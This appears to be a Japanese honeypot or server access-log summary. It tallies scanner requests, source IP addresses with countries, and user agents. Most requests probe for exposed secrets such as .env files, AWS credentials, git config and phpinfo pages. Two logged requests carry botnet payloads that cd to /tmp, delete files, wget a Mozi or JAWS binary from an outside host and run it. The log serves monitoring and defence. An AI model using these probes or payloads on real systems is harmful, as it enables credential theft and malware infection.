1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_132.145.66.34_80\n
3 \x03
2 \x16\x03\x01\x01H\x01
17 \x16\x03\x01
2 \x16\x03\x03
1 GET /.aws/credentials HTTP/1.1
30 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 HEAD /.env HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
4 POST /boaform/admin/formLogin HTTP/1.1
1 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
3 34.23.144.151 United States
3 34.139.211.50 United States
3 43.143.245.85 China
1 43.153.4.198 Singapore
1 45.12.253.248 Bulgaria
1 45.56.108.128 United States
1 45.79.181.104 United States
2 45.79.181.179 United States
1 45.79.181.251 United States
1 45.95.169.100 Croatia
1 45.227.254.48 Belize
1 45.227.254.55 Belize
15 51.79.29.48 Canada
1 51.159.164.227 France
9 54.37.79.75 France
84 54.162.158.226 United States
1 60.221.61.247 China
2 65.49.20.68 United States
1 66.175.213.4 United States
13 74.235.10.10 United States
1 81.28.6.204 Israel
4 87.251.64.11 Russia
1 92.255.85.152 Hong Kong
1 107.170.226.16 United States
1 109.207.200.43 Ukraine
2 109.237.97.180 Russia
8 128.199.32.107 United Kingdom
1 137.184.168.84 United States
1 152.89.196.144 Russia
1 172.104.11.51 United States
2 172.105.128.12 United States
1 179.43.177.244 Panama
3 185.142.236.43 Seychelles
2 192.155.90.118 United States
2 192.155.90.220 United States
1 193.35.18.61 Bulgaria
2 193.42.32.124 Bulgaria
2 194.165.16.111 Panama
2 194.180.48.85 Bulgaria
1 198.235.24.33 United States
1 205.210.31.53 United States

UserAgent一覧

件数 UserAgent
37 -
1 Hello, world
1 Mozila/5.0
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
84 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
13 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0; Mandajanganpergi) Gecko/20190101 Firefox/77.0
28 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
1 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
7 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
2 -
1 MGLNDD_13.67.44.234_80
5 \x03
2 \x12\x01
1 \x16\x03\x01\x01H\x01
23 \x16\x03\x01
1 GET /.aws/credentials/phpinfo HTTP/1.1
1 GET /.aws/credentials HTTP/1.1
1 GET /.config/gatsby/config.json HTTP/1.1
1 GET /.config HTTP/1.1
1 GET /.cordova/config.json HTTP/1.1
1 GET /.deployment-config.json HTTP/1.1
1 GET /.docker/.env HTTP/1.1
1 GET /.docker/config.json HTTP/1.1
1 GET /.docker/daemon.json HTTP/1.1
1 GET /.docker/laravel/app/.env HTTP/1.1
1 GET /.env.backup HTTP/1.1
2 GET /.env.bak HTTP/1.1
1 GET /.env.dev HTTP/1.1
1 GET /.env.development.local HTTP/1.1
1 GET /.env.dist HTTP/1.1
1 GET /.env.docker.dev HTTP/1.1
1 GET /.env.local HTTP/1.1
1 GET /.env.php HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production.local HTTP/1.1
1 GET /.env.sample.php HTTP/1.1
1 GET /.env.save HTTP/1.1
1 GET /.env.stage HTTP/1.1
1 GET /.env.test.localapi/.env HTTP/1.1
1 GET /.env.test HTTP/1.1
29 GET /.env HTTP/1.1
1 GET /.environment HTTP/1.1
1 GET /.envrc HTTP/1.1
1 GET /.envs HTTP/1.1
1 GET /.env~ HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /.gitlab-ci/.env HTTP/1.1
1 GET /.json HTTP/1.1
1 GET /.jupyter/jupyter_notebook_config.json HTTP/1.1
1 GET /.lanproxy/config.json HTTP/1.1
1 GET /.s3cfg HTTP/1.1
1 GET /.vscode/.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /_wpeprivate/config.json HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /asdf.php HTTP/1.1
1 GET /aws.yml HTTP/1.1
1 GET /beta/.env HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /config.env HTTP/1.1
1 GET /config.js HTTP/1.1
2 GET /config.json HTTP/1.1
1 GET /config.yaml HTTP/1.1
1 GET /config/aws.yml HTTP/1.1
1 GET /config/config.js HTTP/1.1
1 GET /config/config.json HTTP/1.1
1 GET /console/base/config.json HTTP/1.1
1 GET /console/payments/config.json HTTP/1.1
1 GET /dashboard/phpinfo.php HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /env.backup HTTP/1.1
1 GET /env.config.js HTTP/1.1
1 GET /env.js HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /i.php HTTP/1.1
2 GET /index.php HTTP/1.1
1 GET /info.json HTTP/1.1
2 GET /info.php HTTP/1.1
1 GET /infophp.php HTTP/1.1
1 GET /infos.php HTTP/1.1
1 GET /js/config.js HTTP/1.1
1 GET /js/envConfig.js HTTP/1.1
1 GET /kyc/.env HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /laravel/core/.env HTTP/1.1
1 GET /linusadmin-phpinfo.php HTTP/1.1
1 GET /mailer/.env HTTP/1.1
1 GET /old_phpinfo.php HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /php.ini HTTP/1.1
1 GET /php.php HTTP/1.1
2 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /phpversion.php HTTP/1.1
1 GET /pinfo.php HTTP/1.1
1 GET /pmd/index.php HTTP/1.1
1 GET /prod/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /server/config.json HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /temp.php HTTP/1.1
1 GET /test.php HTTP/1.1
1 GET /time.php HTTP/1.1
1 GET /twitter/.env HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /webpack.config.js HTTP/1.1
1 GET /wp-config.php%00 HTTP/1.1
1 GET /wp-config.php.backup HTTP/1.1
1 GET /wp-config.php.bak HTTP/1.1
1 GET /wp-config.php.old HTTP/1.1
1 GET /wp-config.php~ HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
7 POST /boaform/admin/formLogin HTTP/1.1